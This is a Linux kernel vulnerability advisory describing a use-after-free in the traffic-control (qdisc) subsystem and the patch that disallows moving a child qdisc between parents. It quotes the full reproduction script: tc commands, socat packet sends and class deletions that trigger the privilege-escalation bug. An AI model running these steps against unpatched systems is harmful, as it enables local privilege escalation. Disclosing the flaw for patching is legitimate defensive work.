## Description

In the Linux kernel, the following vulnerability has been resolved:  net: sched: Disallow replacing of child qdisc from one parent to another  Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script  Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr  step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr  step3. a class for nesting tc class add dev lo classid 1:2 drr  step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr  step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024  step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr  step7. tc class add dev lo classid 3:1 drr  step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo  step 9. Display the class/qdisc layout  tc class ls dev lo  class drr 1:1 root leaf 2: quantum 64Kb  class drr 1:2 root leaf 3: quantum 64Kb  class drr 3:1 root leaf 4: quantum 64Kb  tc qdisc ls  qdisc drr 1: dev lo root refcnt 2  qdisc plug 2: dev lo parent 1:1  qdisc pfifo 4: dev lo parent 3:1 limit 1000p  qdisc drr 3: dev lo parent 1:2  step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0  step 11. Redisplay again the qdiscs/classes  tc class ls dev lo  class drr 1:1 root leaf 2: quantum 64Kb  class drr 1:2 root leaf 3: quantum 64Kb  class drr 1:3 root leaf 4: quantum 64Kb  class drr 3:1 root leaf 4: quantum 64Kb  tc qdisc ls  qdisc drr 1: dev lo root refcnt 2  qdisc plug 2: dev lo parent 1:1  qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p  qdisc drr 3: dev lo parent 1:2  Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent.  b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.  Step 12.  send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13.  send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))  step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1  The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
